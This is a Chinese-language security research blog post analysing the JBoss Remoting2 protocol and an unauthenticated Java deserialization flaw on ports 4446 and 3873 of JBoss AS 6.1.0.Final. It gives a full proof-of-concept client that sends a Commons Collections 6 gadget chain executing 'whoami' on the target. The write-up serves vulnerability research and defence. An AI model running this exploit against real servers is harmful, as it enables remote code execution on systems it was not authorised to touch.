JBoss remoting2协议及其反序列化分析

前言

前段时间读了@Y4ar师傅分析JBoss的文章和《A little bit beyong \xAC\xED》的原文,起初简单的看下,以为是普通的反序列漏洞,后面经过分析才察觉是关于JBoss的Remoting2协议的漏洞。本文以JBoss AS 6.1.0.Final为例,主要分析与@Y4ar师傅稍有不同的一种反序列化触发方式。

Remoting2协议

Remoting服务端的框架如下图所示,在接受收到从网络传输过来的数据后,数据会由UnMarshaller转换调用请求对象,传送到ServerInvoker,再由其根据调用请求对象的信息传送到相应的调用实现类InvocationHandler

InvocationHandler执行完的返回结果,会经由ServerInvoker传到Marshaller,再由Marshaller转换为网络中传输的数据,传回给调用的客户端。

漏洞分析

从粗略浏览文章获取到的信息来看,漏洞存在于3873和4446端口。那么直接下断点在ServerSocket,往前回溯几层,可以看到分别是由org.jboss.remoting.transport.Connector#start方法和org.jboss.remoting.transport.socket.SocketServerInvoker#start开启的监听端口。在SocketServerInvoker对象中的props属性可以看到自定义的编码、解码工具类:InvocationMarshallerInvocationUnMarshaller

屏幕截图 2022-05-24 190456

在后端框架中Connector充当着管理ServerInvoker的角色,并为ServerInvoker添加InvocationHandler,其addInvocationHandler就是用来实现该功能的。

1
2
3
4
5
6
7
8
9
10
11
12
13
public ServerInvocationHandler addInvocationHandler(String subsystem, final ServerInvocationHandler handler) throws Exception {
if (this.invoker == null) {
throw new IllegalStateException("You may only add handlers once the Connector is created (via create() method).");
} else {
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
handler.setMBeanServer(Connector.this.server);
return null;
}
});
return this.invoker.addInvocationHandler(subsystem, handler);
}
}

用于供Remotoing客户端调用的ServerInvocationHandler实现类众多,包括各种各样协议和使用场景。

基于Connector的功能,我们在其addInvocationHandler方法处下断点,可以得出JBoss所使用到的InvocationHandler。在默认配置下,实测只会使用到以下五个ServerInvocationHandler。其中AOPRemotingInvocationHandler类配置在3873端口,其余四个配置在4446端口。

  • org.jboss.profileservice.remoting.ProfileServiceInvocationHandler
  • org.jboss.aspects.remoting.AOPRemotingInvocationHandler
  • org.jboss.profileservice.management.upload.remoting.DeployHandler
  • org.jboss.invocation.unified.server.UnifiedInvoker
  • org.jboss.deployment.remoting.DeployHandler

从网上找到一个客户端的Demo代码,没有设置subsystem名称,默认就进到了4446端口下的第一个InvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.net.MalformedURLException;  
import java.util.HashMap;

import org.jboss.remoting.Client;
import org.jboss.remoting.InvokerLocator;

public class ClientTest {

public static void main(String[] args){
String locatorURI = "socket://192.168.78.132:4446";
String params = "/?backlog=50&numAcceptThreads=30&maxPoolSize=30&clientMaxPoolSize=30&clientLeasePeriod=10000&timeout=8000";
locatorURI += params;
try {
InvokerLocator locator = new InvokerLocator(locatorURI);
Client client = new Client(locator,ServerHandle.class.getName());
client.connect();
client.invoke("jhb ",new HashMap<String,String>());
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
} catch (Throwable e) {
e.printStackTrace();
}
}

}

跟进到org.jboss.deployment.remoting.DeployHandler#invoke方法,其逻辑是从InvocationRequest获取参数和载荷,再根据参数值调用相应的方法。其中参数的值就是客户端中调用invoke方法传的值。

来到InvocationRequest的定义处,它实现了Serializable,并且getParametergetRequestPayload方法获取到的属性的类型分别为ObjectMap

这里直接在调用Clientinvoke方法时,parammatedata参数传入CC6的对象,即可触发反序列化漏洞。在调用栈中从自定义的解码工具类InvocationUnMarshaller开始,中间没有反序列化类黑白名单等防护措施,一路来到ObjectInputStreamreadObject方法反序列化还原CC6对象。

另一个存在漏洞的端口3873,调用栈中反序列化是从SerializableUnMatshaller开始,但最终过程是一样的。

最终完整POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class SimpleClient {

public static void main(String[] args) throws Throwable {
makeInvocation("socket://192.168.78.155:4446/");
}

public static void makeInvocation(String locatorURI) throws Throwable {
InvokerLocator locator = new InvokerLocator(locatorURI);
System.out.println("Calling remoting server with locator uri of: " + locatorURI);

Client remotingClient = new Client(locator);

HashMap<String,Object> mateMap = new HashMap<>();
mateMap.put("test",ApacheCommonsCollections6.getObject());
remotingClient.connect();
remotingClient.invoke(mateMap);
remotingClient.invoke("jhb ",mateMap);

}
}

class ApacheCommonsCollections6 {
public static Object getObject() throws Exception {

Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"whoami"})};

Transformer chain = new ChainedTransformer(realChain);
Map innermap = new HashMap();
Map outermap = LazyMap.decorate(innermap, chain);
TiedMapEntry tme = new TiedMapEntry(outermap, "mykey");
HashSet hs = new HashSet(1);
hs.add("diggid");
Field mapField = Class.forName("java.util.HashSet").getDeclaredField("map");
mapField.setAccessible(true);
HashMap hm = (HashMap) mapField.get(hs);
Field tableField = Class.forName("java.util.HashMap").getDeclaredField("table");
tableField.setAccessible(true);
Object[] tableArray = (Object[]) tableField.get(hm);
Object table = tableArray[0];
Field key = table.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(table, tme);
return hs;
}
}

随便看看

前面有说到remoting2除了socket外,还支持其他一些协议,但默认模式下基于socket协议的remoting2协议被用到。不过其中的WebInvoctonHandler还是挺吸引人的。看了JBoss的文档,发现有关于这个InvocationHandler的介绍,它可以通过http协议进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class SimpleClient {
// Default locator values
private static String transport = "http";
private static String host = "localhost";
private static int port = 5400;

public void makeInvocation(String locatorURI) throws Throwable {
// create InvokerLocator with the url type string
// indicating the target remoting server to call upon.
InvokerLocator locator = new InvokerLocator(locatorURI);
System.out.println("Calling remoting server with locator uri of: " + locatorURI);

Client remotingClient = new Client(locator);

// make invocation on remoting server and send complex data object
// by default, the remoting http client invoker will use method type of POST,
// which is needed when ever sending objects to the server. So no metadata map needs
// to be passed to the invoke() method.
Object response = remotingClient.invoke(new ComplexObject(2, "foo", true), null);

System.out.println("\nResponse from remoting http server when making http POST request and sending a complex data object:\n" + response);


Map metadata = new HashMap();
// set the metadata so remoting client knows to use http GET method type
metadata.put("TYPE", "GET");
// not actually sending any data to the remoting server, just want to get its response
response = remotingClient.invoke((Object) null, metadata);

System.out.println("\nResponse from remoting http server when making GET request:\n" + response);

// now set type back to POST and send a plain text based request
metadata.put("TYPE", "POST");
response = remotingClient.invoke(WebInvocationHandler.STRING_RETURN_PARAM, metadata);

System.out.println("\nResponse from remoting http server when making http POST request and sending a text based request:\n" + response);

// notice are getting custom response code and message set by web invocation handler
Integer responseCode = (Integer) metadata.get(HTTPMetadataConstants.RESPONSE_CODE);
String responseMessage = (String) metadata.get(HTTPMetadataConstants.RESPONSE_CODE_MESSAGE);
System.out.println("Response code from server: " + responseCode);
System.out.println("Response message from server: " + responseMessage);
}
}

虽然在JBoss这里用到WebInvoctonHandler,但是根据JBoss的Demo配置文件给出的路径/servlet-invoker/ServerInvokerServlet,可以查到基于JBoss开发的JBoss Operations Network存在关于WebInvoctonHandler的漏洞,CVE编号为CVE-2016-3737。

后记

看了JBoss其他反序列化漏洞、4446和3873这两个端口漏洞,感觉JBoss就像个筛子,特别是Remoting这个协议。后面在JBoss EAP 6.x和JBoss/Wildfly AS 7.x及往后版本,JBoss/Wildfly已默认不使用remoting2协议,而是使用了引入身份认证机制的remoting3协议。感觉remoting3协议可分析看看也没有什么漏洞,但最坑的是这么多年过去了,remoting3竟然连份文档都没有。。。

文中若有什么错误的地方,恳请各位师傅斧正。

参考

https://docs.jboss.org/jbossremoting/2.5.4.SP5/guide/html_single/

https://docs.jboss.org/jbossremoting/2.5.4.SP5/userguide/html_single/

https://y4er.com/post/jboss-4446-rce-and-rpc-echo-response/

https://www.tenable.com/security/research/tra-2016-22

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×